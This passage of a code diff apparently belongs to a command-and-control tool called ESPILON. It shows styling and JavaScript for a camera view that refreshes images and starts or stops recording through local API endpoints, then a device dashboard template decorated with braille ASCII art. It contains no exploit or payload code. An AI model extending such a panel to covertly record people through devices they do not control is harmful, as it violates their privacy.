||||
.record-dot {
|
||||
width: 8px;
|
||||
height: 8px;
|
||||
background: var(--status-error);
|
||||
border-radius: 50%;
|
||||
animation: pulse-record 1s infinite;
|
||||
}
|
||||
|
||||
.record-time {
|
||||
font-family: 'JetBrains Mono', monospace;
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.empty-cameras {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
min-height: 60vh;
|
||||
}
|
||||
|
||||
.no-signal-container {
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.no-signal-img {
|
||||
max-width: 300px;
|
||||
margin-bottom: 24px;
|
||||
opacity: 0.8;
|
||||
border-radius: 12px;
|
||||
}
|
||||
|
||||
.no-signal-container h2 {
|
||||
font-size: 20px;
|
||||
color: var(--text-primary);
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
.no-signal-container p {
|
||||
color: var(--text-muted);
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.card-body-image img {
|
||||
min-height: 180px;
|
||||
object-fit: contain;
|
||||
background: var(--bg-tertiary);
|
||||
}
|
||||
</style>
|
||||
|
||||
<script>
|
||||
// Recording state
|
||||
const recordingState = {};
|
||||
|
||||
// Refresh camera images
|
||||
function refresh() {
|
||||
const t = Date.now();
|
||||
document.querySelectorAll('.card-body-image img').forEach(img => {
|
||||
// Only update if not showing default image
|
||||
if (!img.src.includes('no-signal')) {
|
||||
img.src = img.dataset.src + '?t=' + t;
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
// Check for new/removed cameras
|
||||
async function checkCameras() {
|
||||
try {
|
||||
const res = await fetch('/api/cameras');
|
||||
const data = await res.json();
|
||||
const current = document.querySelectorAll('.card').length;
|
||||
document.getElementById('camera-count').textContent = data.count || 0;
|
||||
|
||||
// Update recording states
|
||||
if (data.cameras) {
|
||||
data.cameras.forEach(cam => {
|
||||
updateRecordingUI(cam.id, cam.recording);
|
||||
});
|
||||
}
|
||||
|
||||
if (data.count !== current) location.reload();
|
||||
} catch (e) {}
|
||||
}
|
||||
|
||||
// Update recording UI
|
||||
function updateRecordingUI(cameraId, isRecording) {
|
||||
const card = document.querySelector(`[data-camera-id="${cameraId}"]`);
|
||||
if (!card) return;
|
||||
|
||||
const btn = card.querySelector('.btn-record');
|
||||
const indicator = card.querySelector('.record-indicator');
|
||||
|
||||
if (isRecording) {
|
||||
btn.classList.add('recording');
|
||||
btn.title = 'Stop Recording';
|
||||
indicator.style.display = 'flex';
|
||||
|
||||
// Start timer if not already
|
||||
if (!recordingState[cameraId]) {
|
||||
recordingState[cameraId] = { startTime: Date.now() };
|
||||
}
|
||||
} else {
|
||||
btn.classList.remove('recording');
|
||||
btn.title = 'Start Recording';
|
||||
indicator.style.display = 'none';
|
||||
delete recordingState[cameraId];
|
||||
}
|
||||
}
|
||||
|
||||
// Update recording timers
|
||||
function updateTimers() {
|
||||
for (const [cameraId, state] of Object.entries(recordingState)) {
|
||||
const card = document.querySelector(`[data-camera-id="${cameraId}"]`);
|
||||
if (!card) continue;
|
||||
|
||||
const timeEl = card.querySelector('.record-time');
|
||||
if (timeEl) {
|
||||
const elapsed = Math.floor((Date.now() - state.startTime) / 1000);
|
||||
const mins = Math.floor(elapsed / 60).toString().padStart(2, '0');
|
||||
const secs = (elapsed % 60).toString().padStart(2, '0');
|
||||
timeEl.textContent = `${mins}:${secs}`;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Toggle recording
|
||||
async function toggleRecording(cameraId) {
|
||||
const btn = document.querySelector(`[data-camera="${cameraId}"]`);
|
||||
const isRecording = btn.classList.contains('recording');
|
||||
|
||||
try {
|
||||
const endpoint = isRecording ? 'stop' : 'start';
|
||||
const res = await fetch(`/api/recording/${endpoint}/${cameraId}`, {
|
||||
method: 'POST'
|
||||
});
|
||||
const data = await res.json();
|
||||
|
||||
if (data.error) {
|
||||
console.error('Recording error:', data.error);
|
||||
return;
|
||||
}
|
||||
|
||||
updateRecordingUI(cameraId, !isRecording);
|
||||
|
||||
if (!isRecording) {
|
||||
recordingState[cameraId] = { startTime: Date.now() };
|
||||
}
|
||||
} catch (e) {
|
||||
console.error('Recording toggle failed:', e);
|
||||
}
|
||||
}
|
||||
|
||||
// Event listeners
|
||||
document.querySelectorAll('.btn-record').forEach(btn => {
|
||||
btn.addEventListener('click', (e) => {
|
||||
e.preventDefault();
|
||||
const cameraId = btn.dataset.camera;
|
||||
toggleRecording(cameraId);
|
||||
});
|
||||
});
|
||||
|
||||
// Intervals
|
||||
setInterval(refresh, 100);
|
||||
setInterval(checkCameras, 5000);
|
||||
setInterval(updateTimers, 1000);
|
||||
|
||||
// Initial check
|
||||
checkCameras();
|
||||
</script>
|
||||
{% endblock %}
|
||||
158
tools/c2/templates/dashboard.html
Normal file
158
tools/c2/templates/dashboard.html
Normal file
@ -0,0 +1,158 @@
|
||||
{% extends "base.html" %}
|
||||
|
||||
{% block title %}Dashboard - ESPILON{% endblock %}
|
||||
|
||||
{% block content %}
|
||||
<div class="page-header">
|
||||
<div class="page-title">Dashboard <span>Connected Devices</span></div>
|
||||
<div class="header-stats">
|
||||
<div class="stat">
|
||||
<span class="stat-value" id="device-count">0</span>
|
||||
<span class="stat-label">Devices</span>
|
||||
</div>
|
||||
<div class="stat">
|
||||
<span class="stat-value" id="active-count">0</span>
|
||||
<span class="stat-label">Active</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div id="devices-grid" class="grid">
|
||||
<!-- Devices loaded via JavaScript -->
|
||||
</div>
|
||||
|
||||
<div id="empty-state" class="empty-lain" style="display: none;">
|
||||
<div class="lain-container">
|
||||
<pre class="lain-ascii">
|
||||
⠠⡐⢠⠂⠥⠒⡌⠰⡈⢆⡑⢢⠘⡐⢢⠑⢢⠁⠦⢡⢂⠣⢌⠒⡄⢃⠆⡱⢌⠒⠌⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⡀⢀⠀⠠⠀⠠⠀⠀⠀⠀⠀⠀⠀⠣⢘⡐⢢⢡⠒⡌⠒⠤⢃⠜⡰⢈⠔⢢⠑⢢⠑⡌⠒⡌⠰⢌⠒⡰⢈⠒⢌⠢⡑⢢⠁⠎⠤⡑⢂⠆⡑⠢⢌
|
||||
⠠⠑⣂⢉⠒⡥⠘⡡⢑⠢⡘⠤⡉⠔⡡⠊⡅⠚⡌⠢⠜⡰⢈⡒⠌⡆⡍⠐⠀⠀⠀⠀⠀⠂⠄⡐⠀⠀⠀⠐⠀⠀⠂⠈⠐⠀⠄⠂⠀⠂⠁⢀⠀⠠⢀⠀⠀⠀⡀⠀⠈⠢⢡⢊⠔⣉⠦⡁⢎⠰⡉⠆⡑⢊⠔⢃⠌⡱⢈⠣⡘⢄⠃⡡⠋⡄⢓⡈⢆⡉⠎⡰⢉⠆⡘⠡⢃⠌
|
||||
⠠⠓⡄⢊⠔⢢⠑⡐⠣⡑⢌⠢⠱⡘⢄⠓⡌⠱⢠⡉⠆⡅⢣⠘⠈⠀⠀⠀⠀⠀⠀⠀⠄⠠⠀⠠⠀⠁⠌⠀⠀⠈⠀⠈⠀⠐⠀⡀⠂⠀⠐⠀⠂⠁⡀⠠⠁⠀⠀⠀⠀⠀⠀⠈⠘⡄⢢⠑⡌⢢⠑⡌⠱⡈⠜⡐⣊⠔⡡⢒⠡⢊⠔⡡⠓⡈⠦⠘⠤⡘⢢⠑⡌⢢⠑⡃⢎⡘
|
||||
⠐⡅⢊⠤⡉⢆⠱⣈⠱⡈⢆⠡⡃⠜⡠⢃⠌⣑⠢⢌⡱⠈⠁⠀⠀⠀⠠⠈⠀⠀⡐⠈⢀⠠⠀⢀⠐⠀⠈⠀⠐⠀⢁⠀⠂⡀⠀⢀⠐⠠⠁⠈⠀⠀⠀⠀⠀⠡⠐⠀⠂⠀⠀⠀⠀⠀⠁⠊⠴⡁⢎⠰⢡⠘⢢⠑⡄⢊⠔⡡⢊⠔⡨⢐⠡⠜⡰⠉⢆⡑⠢⡑⣈⠆⡱⢈⠆⡘
|
||||
⠐⡌⢂⠒⣡⠊⡔⢠⠃⡜⢠⠃⡜⢠⠱⣈⠒⡌⢒⠢⠁⠀⠀⠀⠀⠄⠡⢀⠀⠀⠀⠂⠄⠀⠄⠀⢀⠀⠂⠈⠀⠡⠀⠐⠠⠀⠈⠀⠄⠀⠂⠀⠠⠀⠀⠐⠈⠐⠀⠡⢀⠈⠀⠄⠀⠀⠀⠀⠐⡁⢎⡘⠤⡉⢆⠡⡘⠤⢃⠔⡡⢎⠰⢉⠢⠱⣀⠋⠤⢌⠱⡐⠄⢎⠰⡁⢎⠰
|
||||
⠐⢌⠢⡑⢄⠣⢌⠢⡑⢌⠢⡑⢌⠢⡑⢄⠣⡘⠂⠀⠀⠀⠀⠁⠀⠀⢀⠀⡈⠄⠐⠠⠀⢀⠀⠄⠂⡀⠀⠄⠈⡀⠀⠂⠀⠐⠀⢁⠀⠁⠠⠈⠀⠀⡁⠀⠁⠀⠀⠀⠄⠀⠂⡀⠂⠌⡀⠁⠀⠈⠢⡘⠤⡑⢌⠢⠑⡌⢢⠘⡐⢢⠑⡌⢢⠑⠤⣉⠒⡌⢢⠡⡉⢆⠱⡐⢌⠱
|
||||
⡈⢆⠱⡈⢆⠱⡈⢔⡈⢆⠱⣈⢂⠆⡱⢈⢆⠁⠀⠀⠀⠐⠈⠀⠌⠐⡀⠀⠐⢀⠀⠂⠁⠄⠈⠀⡐⠀⠂⠈⠄⠐⠠⠀⠁⠄⡈⠠⠀⠂⢀⠠⠁⠄⠀⢈⠀⠀⡀⠠⢀⠀⠄⢀⠈⠄⠀⡀⠂⠀⠀⠁⠆⢍⠢⣉⠒⡌⢄⠣⡘⢄⠣⡐⢡⠊⡔⢠⠃⠜⣀⠣⡘⢄⠣⡘⢠⢃
|
||||
⠐⡌⠰⡁⢎⠰⡁⢆⡘⢄⠣⡐⢌⠢⡑⢌⠂⠀⠀⠀⠀⠁⢀⠈⠀⢀⠀⠌⠐⠀⠈⠐⠀⠂⠌⠀⡀⠀⠀⠠⠈⠀⠄⠈⠀⠂⠀⠐⠀⠈⡀⠠⠀⠈⢀⠀⠂⠀⡀⠀⢀⠀⠈⠀⠀⡀⠀⠄⠀⡁⠂⠀⠘⡄⠣⢄⠣⡘⢄⠊⡔⠌⢢⠉⢆⠱⣈⠤⣉⠒⡄⢣⠘⡄⢣⠘⡄⣊
|
||||
⠂⡌⠱⡈⠆⠥⡘⠤⡈⢆⠱⡈⢆⠱⡈⠎⠀⠀⠀⠀⠈⠄⠀⠀⠂⡀⠀⠠⠀⠂⠐⠈⠀⡁⠀⠀⠀⠀⠄⠁⠀⠀⠀⠀⠀⢀⠀⠄⡀⠠⠀⠀⠠⠁⠀⠄⠀⠄⠠⠐⠀⠀⠀⠄⠀⠄⡁⠠⠐⠀⠂⠀⠀⠨⡑⢌⢂⠱⣈⠒⡌⡘⠤⣉⢂⠒⡄⡒⢄⠣⡘⠄⢣⠘⡄⠣⠔⢢
|
||||
⠐⡨⠑⡌⣘⠢⡑⢢⠑⣈⠆⡱⢈⠦⡁⠀⠀⠄⠠⠐⠀⠀⠂⠀⡐⠀⠈⠀⠀⡁⠂⠐⠀⠀⠀⠀⢂⠀⠀⠠⠁⠀⠀⠀⠈⠀⠀⠐⠀⠀⠠⠀⠐⠀⠈⠀⠀⠀⠄⠐⠀⠌⠠⠀⠄⠀⡀⠀⠂⠐⡀⠁⠀⠀⠑⡌⢢⠑⡄⢣⠘⡄⢣⠐⡌⢒⡰⢁⠎⣐⠡⢊⠅⡒⢌⠱⡈⢆
|
||||
⠁⢆⠱⡐⢢⠑⡌⢢⠑⡂⠜⣀⠣⠂⠀⠀⠀⠀⠀⠀⠈⠀⢀⠀⠄⠀⠂⠁⠀⠄⠠⠀⠀⠀⠌⠀⠀⢠⡀⠀⠀⠀⠄⠀⠀⠠⠀⠂⡀⠄⠀⠀⠄⠈⠀⠀⠄⠀⠀⠀⠂⠠⠀⠀⡐⠠⠀⠁⠐⠀⠀⠐⠀⡀⠀⠘⡄⢣⠘⡄⢣⠘⡄⢣⠐⡡⢂⠥⢊⢄⠣⢌⢂⠱⡈⢆⠱⣈
|
||||
⢉⠢⢡⠘⣄⠊⡔⢡⠊⡜⢠⣁⠃⠀⠀⠀⠂⠁⡀⠀⠐⠀⡀⠠⠀⠂⠐⠠⠈⠀⠀⠀⢀⠁⠀⠀⠀⢰⣧⡟⠀⠀⢀⠀⠠⠀⠁⠀⠀⠀⠂⠁⠈⠀⠀⠄⠀⠀⠀⠀⠀⠠⢀⠁⠀⠀⠂⠈⠀⠠⠁⠀⠀⠀⠀⠀⠘⡄⢣⠘⡄⢣⠘⡄⢃⠆⡡⠘⣄⠊⡔⡈⢆⠡⢒⡈⢒⠤
|
||||
⢂⡑⢢⠑⡄⡊⠔⡡⢊⠔⡡⢂⠄⠀⠀⠡⠀⠐⠀⠀⠁⠐⢀⠁⠄⠀⢂⠀⠄⡀⠁⠈⠀⠀⠀⠀⠀⣸⣿⣿⡄⠈⠀⢈⠀⠀⠀⡀⠀⠀⢀⠈⠀⠀⠀⠀⡀⠄⠀⠀⠀⠐⡀⠈⠀⠄⠁⡐⠈⠀⠄⠠⠀⠀⠀⠀⠀⡜⢠⢃⠜⡠⠑⡌⢢⠘⡄⠣⢄⠣⡐⢡⠊⡔⢡⠘⡌⠒
|
||||
⠂⡌⢢⠉⡔⢡⠊⡔⢡⠊⡔⡁⠀⠀⡀⠀⠂⠀⢀⠂⠌⠀⠀⡀⠈⠐⠀⠄⠀⠀⠀⠀⠀⠂⠀⠀⠀⣾⣿⣿⡆⠀⠀⠀⡀⠀⠐⠀⢠⠀⠂⢀⠀⠀⠀⠀⠄⠐⠀⡁⢀⠀⠀⠁⠀⠀⠂⢀⠐⠈⡀⠐⠀⠈⠀⠀⠀⡜⢠⠊⡔⢡⠃⡜⠠⢃⠌⡑⢢⠡⡘⢄⠣⠌⢢⠡⠌⢣
|
||||
⠐⡌⢆⠱⣈⠢⡑⢌⠢⡑⡰⠁⠀⠁⠀⠐⢀⠀⠂⠀⠄⠐⠀⠀⠀⠂⢀⠀⠀⠁⡀⢀⠀⡀⠀⠀⠀⣿⣿⣿⣧⠀⠀⠀⠀⠀⠁⠀⠠⡇⠀⠀⠀⠀⣇⠀⠂⠀⠀⠀⠈⡄⠀⢀⠂⠀⠐⠀⠠⠀⡀⠀⠌⠀⠄⠀⠀⢈⠆⡱⢈⠆⡱⢈⠱⡈⠜⡠⠃⢆⠱⡈⢆⡉⢆⠱⡘⠤
|
||||
⠒⡨⢐⠢⡄⠣⢌⠢⡑⢢⠑⠀⠀⠀⠀⠐⠀⢈⠀⡀⠀⠁⠈⠠⢈⠐⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⡄⠀⠀⠐⠀⠀⠀⠀⣿⠀⠠⠀⠀⣯⠀⠀⠀⠀⠀⠀⡇⠀⠀⠄⠈⢀⠐⠀⠀⠄⠀⠀⠀⠀⠈⠀⠀⡎⠰⡁⢎⠰⣁⠲⡁⢎⠰⡁⢎⠰⣁⠢⡘⢄⠣⡘⡰
|
||||
⢂⠱⣈⠒⡌⠱⡈⢆⡑⠢⠍⠀⠀⠀⠀⠈⠐⠀⠂⠠⠀⠠⠐⠀⠀⠈⠀⠄⠀⠀⠀⠀⠀⠀⢰⠀⠀⣿⣿⣿⣿⣇⠀⢤⠀⠀⠀⠀⠀⢸⣟⡀⠀⠀⣿⣆⠀⠈⠀⠀⠀⢟⡀⠀⠠⠀⠀⡀⠀⠂⠀⠂⠀⠀⢂⠀⠀⠀⡜⢡⠘⠤⡁⢆⠡⡘⢄⠣⡘⢄⠣⢄⠱⡈⢆⠱⢠⠑
|
||||
⠄⡃⢄⠣⢌⠱⡈⠆⡌⢡⠃⠀⠀⠀⠀⠀⠈⠀⠌⠀⠈⠀⡐⠀⠀⠀⠀⠀⡀⠀⠀⡀⠀⠄⢸⠀⠀⣿⣿⣿⣿⣿⢂⢸⡀⠀⠀⠀⠀⠘⣿⣜⡄⠀⣿⣯⡄⣀⠀⠀⠀⠺⠅⠀⠐⠀⠀⠀⠁⠀⠠⠀⠁⠄⠀⠀⠀⠀⡜⢠⠋⡔⢡⠊⡔⢡⠊⡔⠡⢊⠔⢊⠰⡁⢎⠰⠁⢎
|
||||
⢄⠱⣈⠒⡌⢢⠑⡘⡄⣃⠆⠀⠀⠀⠀⠀⠀⠀⠠⠀⠄⠀⠀⢀⠀⠄⠀⠀⡁⠀⢀⠀⣤⠀⠘⡇⠀⢹⣿⣿⣿⣿⣯⣸⡴⠀⠀⠀⠀⢀⣻⣿⣬⣂⡋⢁⣤⢤⢶⣶⣤⣰⣶⠀⠀⠄⢀⠐⠀⠄⠁⡀⠠⠀⠀⠌⠀⠐⡘⡄⢣⠘⡄⢣⠘⡄⢃⠌⡱⢈⠜⡠⢃⠜⡠⢃⠍⢢
|
||||
⣀⠒⡄⢣⠘⣄⢃⡒⡌⣐⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠌⠀⠈⡀⠀⠀⠀⢰⡆⠁⠀⠘⠒⠁⣀⣉⠀⢀⣀⣉⣩⣿⡟⢿⣿⣽⣯⣿⣼⣿⣿⣿⠿⢀⡿⡹⠊⠋⠉⠁⠀⠈⠛⠄⢀⠀⠂⢀⠀⠂⠀⠀⠐⠀⠀⡀⠂⠠⡑⢌⠢⡑⢌⠢⡑⢌⠢⡘⢄⠃⣆⠱⡈⠆⡱⢈⡌⡡
|
||||
⢀⠣⠌⡄⠓⡄⣂⠒⡰⢈⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠂⢨⠄⠀⣔⣾⣿⡿⠿⠼⠆⠸⠿⣞⣱⡞⣿⣠⣹⣿⣿⣿⣿⣿⣿⡟⠰⢫⠗⡐⠀⠀⠀⠀⢄⠀⣶⣤⡀⠀⠀⠂⠀⠀⠀⠀⠐⠀⠀⠀⠀⠀⡱⢈⡔⠡⢊⠤⡑⢌⠢⡑⠌⡒⢠⢃⡘⠤⡑⢌⠰⢡
|
||||
⢀⠣⡘⠠⢍⠰⣀⢃⠒⡩⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⢀⢸⠀⠀⢸⡃⠘⢊⠉⠀⠀⠀⠀⠀⢀⡀⠀⢉⡙⠻⣿⣿⣿⣿⣿⣿⣿⣯⣀⣷⣏⡌⠀⠠⠀⠀⠀⢈⠀⣸⣿⣿⠄⠀⠀⠀⠀⡀⠄⠀⠀⠀⠀⠀⠀⣑⠢⣐⠡⢊⠔⢌⠢⡑⢄⠣⡘⢄⠢⡘⠤⡑⢌⡑⢢
|
||||
⠠⡑⢌⠱⣈⠒⡄⢣⠘⡔⢡⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠂⠸⠆⠀⢸⠷⠊⢁⠀⠀⠄⠀⠀⠉⡀⢹⣷⡄⠻⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣿⡀⠁⠀⠄⢁⣴⣿⡿⢻⠀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⠀⠀⢢⠑⡄⠣⢌⡘⢄⠣⡘⢄⠃⡜⠠⢃⠜⡠⢑⠢⡘⠤
|
||||
⢄⠱⡈⢆⢡⠊⡔⠡⢃⠜⠤⡀⠀⠀⠀⠀⠀⠀⠀⠄⠀⠀⠀⠀⠘⣇⠀⢸⠀⠘⣿⣇⠈⠆⠀⠀⢐⠀⣼⣿⣷⣄⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠶⣾⡿⠿⠟⣡⣾⡀⠀⠀⠀⠠⠀⢀⠀⠀⠀⠀⢀⠠⢅⠪⡐⢅⠢⡘⢄⠣⡘⢄⠣⢌⠱⡈⢆⠱⡈⢆⠱⢌
|
||||
⠄⡃⠜⡠⢂⠣⢌⠱⡈⠜⡰⢁⠆⠀⠀⠀⠀⠀⠈⡄⢳⡄⠀⠀⠀⠿⡄⢾⣿⣦⣘⠿⣷⣤⣁⣈⣴⣾⣿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣶⣶⣷⣾⣿⣿⠀⠀⠀⠠⢀⠀⠀⠀⠀⠀⠀⠤⢃⡌⢢⠑⡌⢢⠑⡌⢢⠑⡌⠒⡌⢢⠑⡌⢂⠅⡊⢔⠨
|
||||
⠤⠑⢌⡐⠣⡘⠄⢣⠘⡌⠔⡩⠘⡄⠀⠀⠀⠀⠀⢃⢻⣆⠈⠀⠀⣹⣡⢸⣿⣿⣿⣷⣬⣉⣙⣋⣩⣥⣴⣾⣿⣿⣿⣿⣿⣿⣿⡟⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠈⠀⠀⠀⢀⡘⢢⢡⠘⡄⢣⠐⢢⠑⡈⢆⠒⢌⡑⢌⠢⡑⡈⠆⡌⠱⣈⠒
|
||||
⠠⢉⠆⡌⠱⡠⢉⠆⡱⢈⠆⡱⢉⠔⡀⠀⠀⠀⠀⠈⢆⣻⡇⣆⠈⠷⣜⣆⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢳⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⢀⠀⠀⠀⡄⣊⠔⣂⠣⠘⠤⡉⢆⢡⠱⡈⠜⡠⠒⡌⠒⠤⡑⢌⡐⠣⢄⠩
|
||||
⣀⠣⡘⢠⠃⡔⣉⠢⡑⢌⡘⢄⠣⡘⡁⠀⠀⠀⠀⠀⠈⠻⣷⡘⠆⠈⢳⠺⡄⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣣⢗⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀⠔⠀⠀⠀⠀⠀⠰⢐⠡⢊⢄⠣⡉⢆⠱⡈⢆⠢⡑⠬⡐⡡⠌⡑⢢⠁⠆⡌⠱⣈⠱
|
||||
⡀⢆⡑⢢⠑⡰⢄⠱⡈⢆⡘⢄⠣⢔⡁⠀⠀⡄⠀⠀⠀⠀⠘⢻⣷⣄⠈⢫⡽⡄⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣤⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠗⠀⠀⠀⠀⠀⠀⠀⠀⡱⢈⡒⠩⢄⠱⡈⢆⠡⡘⠤⡑⠌⢢⠑⡰⢡⠑⢢⠉⡜⢠⠃⡄⢣
|
||||
⠐⡂⠜⡠⢃⠒⡌⡰⢁⠆⡸⢀⠇⢢⠄⠀⠰⡀⠀⠀⠀⠀⠀⠀⠉⠛⠳⣄⠹⣹⢆⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠀⠁⠀⠀⡔⠡⢌⠱⡈⢆⠱⡈⢆⠑⡢⢡⢉⠆⡱⢀⠣⡘⢄⠣⢌⠢⡑⢌⠢
|
||||
⠡⡘⠤⠑⡌⠒⠤⡑⠌⣂⠱⡈⢎⢢⠁⢀⡱⠰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠀⠑⢯⠶⡘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⣡⣴⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠈⠀⠀⠀⠀⠀⠀⠀⠀⡰⢉⠆⡱⢈⠆⠱⡐⢌⠢⡑⠢⠌⡆⠱⡈⢆⠱⣈⠒⡄⢣⠘⡠⢃
|
||||
⠐⡌⢢⢉⡔⡉⢆⠱⡈⢄⢃⠜⡠⢆⠁⢠⢂⡱⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣵⣈⡙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⡑⢢⠘⡄⢣⢈⠱⡈⢆⠱⣈⠱⡘⢄⠣⡑⢌⠒⡠⠑⡌⢢⠑⡄⢣
|
||||
⠐⡌⢂⠦⡐⢡⠊⡔⢡⠊⡔⢨⡐⢌⠒⠤⢒⡰⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⢼⣢⡙⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀⠈⠀⠀⠀⡀⢄⠀⢑⡂⢣⠘⠤⡈⢆⠱⡈⠔⡠⢃⠜⡠⢃⠜⡠⢊⠅⠣⢌⠡⢊⠔⡡
|
||||
⠈⡔⢡⢂⡑⠆⡱⢈⠆⡱⢈⠆⡘⡠⢉⠜⡐⢢⠁⠀⠀⠀⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠧⢌⡙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠉⠀⠀⠀⠀⠀⠀⠀⢀⠀⠤⡑⢊⠔⢢⡘⢄⠣⢌⠱⣀⠣⡘⠰⣁⠣⣈⠱⠈⢆⠱⡈⢌⠱⡈⢆⠣⡘⠔
|
||||
⠐⡌⢂⠆⡱⢈⠔⡡⢊⠔⡡⢊⠔⡑⢌⠢⠱⣈⠒⡰⣀⠒⠤⣀⠀⡀⠀⠀⠀⠀⣈⠀⠀⠀⠀⠀⠀⠀⢤⡈⠐⠪⣙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠛⣠⠂⠀⠀⠀⠀⠀⡄⠀⠀⠀⠀⢆⡱⢨⠘⡄⠲⣈⠒⡌⠒⡄⠣⢌⠱⠠⡑⡄⢣⠉⢆⠢⡑⢌⢂⠱⡈⢆⠱⣈
|
||||
⠐⡌⢢⠘⡄⢣⢘⠰⡈⢆⠑⠢⢌⡑⢌⠒⡡⢂⡱⠐⢤⢉⠒⡌⢢⢡⠩⢌⠓⡌⢄⠣⢢⡐⠤⠠⠀⠀⢸⣚⡳⢧⡤⣌⡈⠛⠛⠿⢻⢟⠿⠿⠟⢋⣡⢴⡛⢶⠀⠀⠐⠂⠥⡉⠄⠀⠀⠀⠘⢠⠢⡑⡌⠰⢃⠄⠣⢌⠱⣈⠒⡌⢒⡡⡘⠤⡁⠎⡄⢃⠜⡠⢊⠔⡡⢊⠔⢢
|
||||
⢂⠌⡄⢣⠘⡄⢎⠰⡁⠎⡌⡑⠢⠌⡄⠣⠔⡃⢔⠩⡐⢊⠔⡌⣡⠢⡑⢌⠒⡌⢌⡒⠁⠈⠀⠀⠀⠀⠸⣴⢫⡗⡾⣡⢏⡷⢲⠖⡦⣴⠲⣖⣺⠹⣖⡣⣟⠾⠀⠀⠀⠀⢂⠵⡁⠀⠀⠀⡘⢄⠣⡐⢌⠱⡈⢌⠣⢌⠒⡄⢣⠘⡄⢢⠑⠤⡑⢌⠰⡁⢆⠱⣈⠢⡑⢌⠚⠤
|
||||
⠂⡜⢠⠃⡜⠰⢈⠆⡱⢈⠔⡨⠑⠬⡐⠱⡈⡔⣈⠒⡡⢊⠔⡨⢐⠢⡑⢌⠒⡌⠢⠜⡀⠀⠀⠀⠀⠀⠀⠞⣧⢻⠵⣋⢾⡱⣏⢿⡱⣎⡳⣝⢮⡻⠵⠋⠈⠀⠀⠀⠀⠀⢉⡒⡀⠀⠀⠀⠱⡈⢆⠱⡈⢆⡑⠢⡑⠢⡑⠌⢢⠑⡌⢢⠑⢢⠑⡌⡑⢌⢂⠒⡄⢃⠜⡠⣉⠒
|
||||
⠐⡄⢣⠘⡄⠓⡌⢢⠑⡌⢢⠡⡉⢆⠡⢃⠴⠐⡄⢣⠐⢣⠘⡄⢃⠆⡱⢈⡒⠌⣅⠃⠀⠀⠀⠀⠀⠀⠀⠀⠈⠋⠿⣱⢧⡝⣮⢧⡻⠜⠓⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠒⡄⠀⠀⢠⠓⡘⡄⢣⠘⠤⣈⠱⡈⣑⠨⡘⢄⠣⠘⠤⣉⠢⡑⠤⡑⢌⠢⡑⢌⡂⢎⡐⠤⣉
|
||||
⠐⡌⢢⠑⡌⠱⡈⠤⠃⡜⣀⠣⣘⠠⢃⠌⡂⢇⠸⢠⠉⢆⠱⡈⢆⠱⣀⠣⡘⠬⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠁⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠁⠂⠉⠔⣈⠆⣉⠒⡄⠣⠔⡠⢃⠜⡠⢃⠍⡔⠄⢣⠘⠤⡑⢌⠢⡁⢆⡘⠤⡘⢰⠠
|
||||
